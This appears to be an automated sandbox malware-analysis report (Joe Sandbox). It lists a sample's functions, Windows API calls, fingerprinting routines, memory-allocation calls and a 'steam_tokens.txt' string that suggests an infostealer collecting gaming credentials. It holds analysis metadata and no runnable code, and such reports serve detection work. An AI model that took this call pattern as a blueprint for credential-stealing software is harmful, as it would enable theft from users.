Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,0250ADE8,00000000,?,00420DF4,00000000,?,00000000,00000000,?,0250A740,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,024E9270,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,0250ACE8,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0250A788,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,0250A788,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,02506F48,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: efd4dc239b49fb99bbfd1069c0ac1cdb45bec6c13a269f84b0dddfaf1f80abb9
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024E4A20,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: 42a7ad65bae4e9558e0380f2075f04e5ea268d23bcb951c8a89b1ddadc345638
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 42a7ad65bae4e9558e0380f2075f04e5ea268d23bcb951c8a89b1ddadc345638
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1dbadf0351bfe0d456c8441b72d0781cfe79819e97f9c8658590d48fe0b3a877
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 1dbadf0351bfe0d456c8441b72d0781cfe79819e97f9c8658590d48fe0b3a877
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2c6e631158fd8132a9939cbc95aa03e1859264bdf7cf7f2be2d91b3cfbbd0b89
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: 2c6e631158fd8132a9939cbc95aa03e1859264bdf7cf7f2be2d91b3cfbbd0b89
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,0250A068), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 129850b5d2f275a351fed680d92c083f50d225a6d08bec1a346a19f631c1447b
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

